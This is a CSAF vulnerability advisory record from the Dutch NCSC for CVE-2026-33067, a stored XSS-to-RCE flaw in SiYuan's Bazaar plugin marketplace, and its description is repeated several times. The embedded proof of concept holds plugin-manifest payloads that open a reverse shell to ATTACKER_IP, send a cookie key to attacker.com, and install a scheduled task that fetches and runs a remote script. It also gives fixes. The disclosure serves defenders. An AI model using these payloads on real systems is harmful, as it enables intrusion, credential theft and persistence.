{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33067",
        "tracking": {
            "current_release_date": "2026-03-25T18:13:52.019788Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33067",
            "initial_release_date": "2026-03-18T17:08:17.481287Z",
            "revision_history": [
                {
                    "date": "2026-03-18T17:08:17.481287Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-18T17:08:26.193118Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-19T11:40:10.773387Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:28:06.579366Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:28:12.218546Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T18:28:38.767130Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:28:42.986928Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T18:39:16.117847Z",
                    "number": "8",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-20T21:41:35.695347Z",
                    "number": "9",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-20T21:59:03.389547Z",
                    "number": "10",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T21:59:06.871531Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-21T13:47:20.830189Z",
                    "number": "12",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-21T15:23:23.926106Z",
                    "number": "13",
                    "summary": "EPSS updated."
                },
                {
                    "date": "2026-03-21T15:23:31.896293Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-22T00:51:46.276658Z",
                    "number": "15",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-22T11:24:49.522725Z",
                    "number": "16",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-23T00:53:56.330535Z",
                    "number": "17",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-23T05:15:53.170807Z",
                    "number": "18",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-24T02:14:00.289707Z",
                    "number": "19",
                    "summary": "CVSS created.| Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-24T02:14:07.158217Z",
                    "number": "20",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:56:15.425247Z",
                    "number": "21",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-24T20:56:19.090171Z",
                    "number": "22",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T18:13:36.222236Z",
                    "number": "23",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (2)."
                },
                {
                    "date": "2026-03-25T18:13:38.756869Z",
                    "number": "24",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-25T18:13:50.049516Z",
                    "number": "25",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-25T18:13:51.605513Z",
                    "number": "26",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "26"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<3.6.1",
                                "product": {
                                    "name": "vers:unknown/<3.6.1",
                                    "product_id": "CSAFPID-5839032",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "siyuan"
                    }
                ],
                "category": "vendor",
                "name": "B3log"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<3.6.1",
                                "product": {
                                    "name": "vers:unknown/<3.6.1",
                                    "product_id": "CSAFPID-5825995"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<0.0.0-20260317012524-fe4523fff2c8",
                                "product": {
                                    "name": "vers:unknown/>=0|<0.0.0-20260317012524-fe4523fff2c8",
                                    "product_id": "CSAFPID-5907260"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "siyuan"
                    }
                ],
                "category": "vendor",
                "name": "siyuan-note"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33067",
            "cwe": {
                "id": "CWE-79",
                "name": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "# Stored XSS to RCE via Unsanitized Bazaar Package Metadata\n\n## Summary\n\nSiYuan's Bazaar (community marketplace) renders package metadata fields (`displayName`, `description`) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab.\n\n## Affected Component\n\n- **Metadata rendering**: `app/src/config/bazaar.ts:275-277`\n- **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)\n\n## Affected Versions\n\n- SiYuan <= 3.5.9\n\n## Severity\n\n**Critical** — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\n- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)\n\n## Vulnerable Code\n\nIn `app/src/config/bazaar.ts:275-277`, package metadata is injected directly into HTML templates without escaping:\n\n```typescript\n// Package name injected directly — NO escaping\n${item.preferredName}${item.preferredName !== item.name\n    ? ` <span class=\"ft__on-surface ft__smaller\">${item.name}</span>` : \"\"}\n\n// Package description — title attribute uses escapeAttr(), but text content does NOT\n<div class=\"b3-card__desc\" title=\"${escapeAttr(item.preferredDesc) || \"\"}\">\n    ${item.preferredDesc || \"\"}  <!-- UNESCAPED HTML -->\n</div>\n```\n\nThe inconsistency is notable: the `title` attribute is escaped via `escapeAttr()`, but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated.\n\nThe Electron renderer at `app/electron/main.js:422-426` is configured with:\n\n```javascript\nwebPreferences: {\n    nodeIntegration: true,\n    contextIsolation: false,\n    // ...\n}\n```\n\nThis means any JavaScript executing in the renderer process has direct access to Node.js APIs including `require('child_process')`, `require('fs')`, and `require('os')`.\n\n## Proof of Concept\n\n### Step 1: Create a malicious plugin manifest\n\nCreate a GitHub repository with a valid SiYuan plugin structure. In `plugin.json`:\n\n```json\n{\n    \"name\": \"helpful-productivity-plugin\",\n    \"displayName\": {\n        \"default\": \"Helpful Plugin<img src=x onerror=\\\"require('child_process').exec('calc.exe')\\\">\"\n    },\n    \"description\": {\n        \"default\": \"Boost your productivity with smart templates\"\n    },\n    \"version\": \"1.0.0\",\n    \"author\": \"attacker\",\n    \"url\": \"https://github.com/attacker/helpful-productivity-plugin\",\n    \"minAppVersion\": \"2.0.0\"\n}\n```\n\n### Step 2: Submit to Bazaar\n\nSubmit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).\n\n### Step 3: Zero-click RCE\n\nWhen **any** SiYuan desktop user navigates to **Settings > Bazaar > Plugins**, the package listing renders the malicious `displayName`. The `<img src=x>` tag fails to load, firing the `onerror` handler, which calls `require('child_process').exec('calc.exe')`.\n\n**No click is required.** The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.\n\n### Escalation: Reverse shell\n\n```json\n{\n    \"displayName\": {\n        \"default\": \"Helpful Plugin<img src=x onerror=\\\"require('child_process').exec('bash -c \\\\\\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\\\\\"')\\\">\"\n    }\n}\n```\n\n### Escalation: Data exfiltration (API token theft)\n\n```json\n{\n    \"displayName\": {\n        \"default\": \"<img src=x onerror=\\\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\\\">\"\n    }\n}\n```\n\n### Escalation: Silent persistence (Windows)\n\n```json\n{\n    \"displayName\": {\n        \"default\": \"<img src=x onerror=\\\"require('child_process').exec('schtasks /create /tn SiYuanUpdate /tr \\\\\\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\\\\\\\\\"https://attacker.com/payload.ps1\\\\\\\\\\\\\\\")\\\\\\\" /sc onlogon /rl highest /f')\\\">\"\n    }\n}\n```\n\n## Attack Scenario\n\n1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.\n2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process.\n3. The `plugin.json` manifest contains an XSS payload in the `displayName` or `description` field.\n4. When **any** SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.\n5. The injected `<img onerror>` (or `<svg onload>`, `<details ontoggle>`, etc.) fires automatically.\n6. JavaScript executes in the Electron renderer with full Node.js access (`nodeIntegration: true`).\n7. The attacker achieves arbitrary OS command execution — reverse shell, data exfiltration, persistence, ransomware, etc.\n\n**The user does not need to install, click, or interact with the malicious package in any way.** Browsing the marketplace is sufficient.\n\n## Impact\n\n- **Full remote code execution** on any SiYuan desktop user who browses the Bazaar\n- **Zero-click** — payload fires on page load, no interaction required\n- **Supply-chain attack** — targets the entire SiYuan user community via the official marketplace\n- Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files\n- Can install persistent backdoors, scheduled tasks, or ransomware\n- Affects all platforms: Windows, macOS, Linux\n\n## Suggested Fix\n\n### 1. Escape all package metadata in template rendering (`bazaar.ts`)\n\n```typescript\nfunction escapeHtml(str: string): string {\n    return str.replace(/&/g, '&amp;').replace(/</g, '&lt;')\n              .replace(/>/g, '&gt;').replace(/\"/g, '&quot;')\n              .replace(/'/g, '&#039;');\n}\n\n// Apply to ALL user-controlled metadata before rendering\n${escapeHtml(item.preferredName)}\n<div class=\"b3-card__desc\">${escapeHtml(item.preferredDesc || \"\")}</div>\n```\n\n### 2. Server-side sanitization in the Bazaar index pipeline\n\nSanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:\n\n```go\nfunc sanitizePackageDisplayStrings(pkg *Package) {\n    if pkg == nil {\n        return\n    }\n    for k, v := range pkg.DisplayName {\n        pkg.DisplayName[k] = html.EscapeString(v)\n    }\n    for k, v := range pkg.Description {\n        pkg.Description[k] = html.EscapeString(v)\n    }\n}\n```\n\n### 3. Long-term: Harden Electron configuration\n\n```javascript\nwebPreferences: {\n    nodeIntegration: false,\n    contextIsolation: true,\n    sandbox: true,\n}\n```",
                    "title": "github - https://github.com/advisories/GHSA-mvpm-v6q4-m2pf"
                },
                {
                    "category": "description",
                    "text": "# Stored XSS to RCE via Unsanitized Bazaar Package Metadata\n\n## Summary\n\nSiYuan's Bazaar (community marketplace) renders package metadata fields (`displayName`, `description`) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab.\n\n## Affected Component\n\n- **Metadata rendering**: `app/src/config/bazaar.ts:275-277`\n- **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)\n\n## Affected Versions\n\n- SiYuan <= 3.5.9\n\n## Severity\n\n**Critical** — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\n- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)\n\n## Vulnerable Code\n\nIn `app/src/config/bazaar.ts:275-277`, package metadata is injected directly into HTML templates without escaping:\n\n```typescript\n// Package name injected directly — NO escaping\n${item.preferredName}${item.preferredName !== item.name\n    ? ` <span class=\"ft__on-surface ft__smaller\">${item.name}</span>` : \"\"}\n\n// Package description — title attribute uses escapeAttr(), but text content does NOT\n<div class=\"b3-card__desc\" title=\"${escapeAttr(item.preferredDesc) || \"\"}\">\n    ${item.preferredDesc || \"\"}  <!-- UNESCAPED HTML -->\n</div>\n```\n\nThe inconsistency is notable: the `title` attribute is escaped via `escapeAttr()`, but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated.\n\nThe Electron renderer at `app/electron/main.js:422-426` is configured with:\n\n```javascript\nwebPreferences: {\n    nodeIntegration: true,\n    contextIsolation: false,\n    // ...\n}\n```\n\nThis means any JavaScript executing in the renderer process has direct access to Node.js APIs including `require('child_process')`, `require('fs')`, and `require('os')`.\n\n## Proof of Concept\n\n### Step 1: Create a malicious plugin manifest\n\nCreate a GitHub repository with a valid SiYuan plugin structure. In `plugin.json`:\n\n```json\n{\n    \"name\": \"helpful-productivity-plugin\",\n    \"displayName\": {\n        \"default\": \"Helpful Plugin<img src=x onerror=\\\"require('child_process').exec('calc.exe')\\\">\"\n    },\n    \"description\": {\n        \"default\": \"Boost your productivity with smart templates\"\n    },\n    \"version\": \"1.0.0\",\n    \"author\": \"attacker\",\n    \"url\": \"https://github.com/attacker/helpful-productivity-plugin\",\n    \"minAppVersion\": \"2.0.0\"\n}\n```\n\n### Step 2: Submit to Bazaar\n\nSubmit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).\n\n### Step 3: Zero-click RCE\n\nWhen **any** SiYuan desktop user navigates to **Settings > Bazaar > Plugins**, the package listing renders the malicious `displayName`. The `<img src=x>` tag fails to load, firing the `onerror` handler, which calls `require('child_process').exec('calc.exe')`.\n\n**No click is required.** The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.\n\n### Escalation: Reverse shell\n\n```json\n{\n    \"displayName\": {\n        \"default\": \"Helpful Plugin<img src=x onerror=\\\"require('child_process').exec('bash -c \\\\\\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\\\\\"')\\\">\"\n    }\n}\n```\n\n### Escalation: Data exfiltration (API token theft)\n\n```json\n{\n    \"displayName\": {\n        \"default\": \"<img src=x onerror=\\\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\\\">\"\n    }\n}\n```\n\n### Escalation: Silent persistence (Windows)\n\n```json\n{\n    \"displayName\": {\n        \"default\": \"<img src=x onerror=\\\"require('child_process').exec('schtasks /create /tn SiYuanUpdate /tr \\\\\\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\\\\\\\\\"https://attacker.com/payload.ps1\\\\\\\\\\\\\\\")\\\\\\\" /sc onlogon /rl highest /f')\\\">\"\n    }\n}\n```\n\n## Attack Scenario\n\n1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.\n2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process.\n3. The `plugin.json` manifest contains an XSS payload in the `displayName` or `description` field.\n4. When **any** SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.\n5. The injected `<img onerror>` (or `<svg onload>`, `<details ontoggle>`, etc.) fires automatically.\n6. JavaScript executes in the Electron renderer with full Node.js access (`nodeIntegration: true`).\n7. The attacker achieves arbitrary OS command execution — reverse shell, data exfiltration, persistence, ransomware, etc.\n\n**The user does not need to install, click, or interact with the malicious package in any way.** Browsing the marketplace is sufficient.\n\n## Impact\n\n- **Full remote code execution** on any SiYuan desktop user who browses the Bazaar\n- **Zero-click** — payload fires on page load, no interaction required\n- **Supply-chain attack** — targets the entire SiYuan user community via the official marketplace\n- Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files\n- Can install persistent backdoors, scheduled tasks, or ransomware\n- Affects all platforms: Windows, macOS, Linux\n\n## Suggested Fix\n\n### 1. Escape all package metadata in template rendering (`bazaar.ts`)\n\n```typescript\nfunction escapeHtml(str: string): string {\n    return str.replace(/&/g, '&amp;').replace(/</g, '&lt;')\n              .replace(/>/g, '&gt;').replace(/\"/g, '&quot;')\n              .replace(/'/g, '&#039;');\n}\n\n// Apply to ALL user-controlled metadata before rendering\n${escapeHtml(item.preferredName)}\n<div class=\"b3-card__desc\">${escapeHtml(item.preferredDesc || \"\")}</div>\n```\n\n### 2. Server-side sanitization in the Bazaar index pipeline\n\nSanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:\n\n```go\nfunc sanitizePackageDisplayStrings(pkg *Package) {\n    if pkg == nil {\n        return\n    }\n    for k, v := range pkg.DisplayName {\n        pkg.DisplayName[k] = html.EscapeString(v)\n    }\n    for k, v := range pkg.Description {\n        pkg.Description[k] = html.EscapeString(v)\n    }\n}\n```\n\n### 3. Long-term: Harden Electron configuration\n\n```javascript\nwebPreferences: {\n    nodeIntegration: false,\n    contextIsolation: true,\n    sandbox: true,\n}\n```",
                    "title": "github - https://api.github.com/advisories/GHSA-mvpm-v6q4-m2pf"
                },
                {
                    "category": "description",
                    "text": "SiYuan is a personal knowledge management system. Versions 3.6.0 and below render package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab. This issue has been fixed in version 3.6.1.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33067.json"
                },
                {
                    "category": "description",
                    "text": "SiYuan is a personal knowledge management system. Versions 3.6.0 and below render package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab. This issue has been fixed in version 3.6.1.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33067"
                },
                {
                    "category": "description",
                    "text": "SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata in github.com/siyuan-note/siyuan/kernel",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4747.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "# Stored XSS to RCE via Unsanitized Bazaar Package Metadata\n\n## Summary\n\nSiYuan's Bazaar (community marketplace) renders package metadata fields (`displayName`, `description`) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab.\n\n## Affected Component\n\n- **Metadata rendering**: `app/src/config/bazaar.ts:275-277`\n- **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)\n\n## Affected Versions\n\n- SiYuan <= 3.5.9\n\n## Severity\n\n**Critical** — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\n- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)\n\n## Vulnerable Code\n\nIn `app/src/config/bazaar.ts:275-277`, package metadata is injected directly into HTML templates without escaping:\n\n```typescript\n// Package name injected directly — NO escaping\n${item.preferredName}${item.preferredName !== item.name\n    ? ` <span class=\"ft__on-surface ft__smaller\">${item.name}</span>` : \"\"}\n\n// Package description — title attribute uses escapeAttr(), but text content does NOT\n<div class=\"b3-card__desc\" title=\"${escapeAttr(item.preferredDesc) || \"\"}\">\n    ${item.preferredDesc || \"\"}  <!-- UNESCAPED HTML -->\n</div>\n```\n\nThe inconsistency is notable: the `title` attribute is escaped via `escapeAttr()`, but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated.\n\nThe Electron renderer at `app/electron/main.js:422-426` is configured with:\n\n```javascript\nwebPreferences: {\n    nodeIntegration: true,\n    contextIsolation: false,\n    // ...\n}\n```\n\nThis means any JavaScript executing in the renderer process has direct access to Node.js APIs including `require('child_process')`, `require('fs')`, and `require('os')`.\n\n## Proof of Concept\n\n### Step 1: Create a malicious plugin manifest\n\nCreate a GitHub repository with a valid SiYuan plugin structure. In `plugin.json`:\n\n```json\n{\n    \"name\": \"helpful-productivity-plugin\",\n    \"displayName\": {\n        \"default\": \"Helpful Plugin<img src=x onerror=\\\"require('child_process').exec('calc.exe')\\\">\"\n    },\n    \"description\": {\n        \"default\": \"Boost your productivity with smart templates\"\n    },\n    \"version\": \"1.0.0\",\n    \"author\": \"attacker\",\n    \"url\": \"https://github.com/attacker/helpful-productivity-plugin\",\n    \"minAppVersion\": \"2.0.0\"\n}\n```\n\n### Step 2: Submit to Bazaar\n\nSubmit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).\n\n### Step 3: Zero-click RCE\n\nWhen **any** SiYuan desktop user navigates to **Settings > Bazaar > Plugins**, the package listing renders the malicious `displayName`. The `<img src=x>` tag fails to load, firing the `onerror` handler, which calls `require('child_process').exec('calc.exe')`.\n\n**No click is required.** The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.\n\n### Escalation: Reverse shell\n\n```json\n{\n    \"displayName\": {\n        \"default\": \"Helpful Plugin<img src=x onerror=\\\"require('child_process').exec('bash -c \\\\\\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\\\\\"')\\\">\"\n    }\n}\n```\n\n### Escalation: Data exfiltration (API token theft)\n\n```json\n{\n    \"displayName\": {\n        \"default\": \"<img src=x onerror=\\\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\\\">\"\n    }\n}\n```\n\n### Escalation: Silent persistence (Windows)\n\n```json\n{\n    \"displayName\": {\n        \"default\": \"<img src=x onerror=\\\"require('child_process').exec('schtasks /create /tn SiYuanUpdate /tr \\\\\\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\\\\\\\\\"https://attacker.com/payload.ps1\\\\\\\\\\\\\\\")\\\\\\\" /sc onlogon /rl highest /f')\\\">\"\n    }\n}\n```\n\n## Attack Scenario\n\n1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.\n2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process.\n3. The `plugin.json` manifest contains an XSS payload in the `displayName` or `description` field.\n4. When **any** SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.\n5. The injected `<img onerror>` (or `<svg onload>`, `<details ontoggle>`, etc.) fires automatically.\n6. JavaScript executes in the Electron renderer with full Node.js access (`nodeIntegration: true`).\n7. The attacker achieves arbitrary OS command execution — reverse shell, data exfiltration, persistence, ransomware, etc.\n\n**The user does not need to install, click, or interact with the malicious package in any way.** Browsing the marketplace is sufficient.\n\n## Impact\n\n- **Full remote code execution** on any SiYuan desktop user who browses the Bazaar\n- **Zero-click** — payload fires on page load, no interaction required\n- **Supply-chain attack** — targets the entire SiYuan user community via the official marketplace\n- Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files\n- Can install persistent backdoors, scheduled tasks, or ransomware\n- Affects all platforms: Windows, macOS, Linux\n\n## Suggested Fix\n\n### 1. Escape all package metadata in template rendering (`bazaar.ts`)\n\n```typescript\nfunction escapeHtml(str: string): string {\n    return str.replace(/&/g, '&amp;').replace(/</g, '&lt;')\n              .replace(/>/g, '&gt;').replace(/\"/g, '&quot;')\n              .replace(/'/g, '&#039;');\n}\n\n// Apply to ALL user-controlled metadata before rendering\n${escapeHtml(item.preferredName)}\n<div class=\"b3-card__desc\">${escapeHtml(item.preferredDesc || \"\")}</div>\n```\n\n### 2. Server-side sanitization in the Bazaar index pipeline\n\nSanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:\n\n```go\nfunc sanitizePackageDisplayStrings(pkg *Package) {\n    if pkg == nil {\n        return\n    }\n    for k, v := range pkg.DisplayName {\n        pkg.DisplayName[k] = html.EscapeString(v)\n    }\n    for k, v := range pkg.Description {\n        pkg.Description[k] = html.EscapeString(v)\n    }\n}\n```\n\n### 3. Long-term: Harden Electron configuration\n\n```javascript\nwebPreferences: {\n    nodeIntegration: false,\n    contextIsolation: true,\n    sandbox: true,\n}\n```",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-mvpm-v6q4-m2pf.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00129",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "5.3",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "3.5",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, Is related to an uncommon product vendor, The value of the most recent CVSS (V3) score, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5825995",
                    "CSAFPID-5839032",
                    "CSAFPID-5907260"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-mvpm-v6q4-m2pf"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-mvpm-v6q4-m2pf"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-mvpm-v6q4-m2pf"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33067.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33067"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4747.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-mvpm-v6q4-m2pf.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mvpm-v6q4-m2pf"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-mvpm-v6q4-m2pf"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33067"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
                        "baseScore": 9.0,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-5825995",
                        "CSAFPID-5839032",
                        "CSAFPID-5907260"
                    ]
                }
            ],
            "title": "CVE-2026-33067"
        }
    ]
}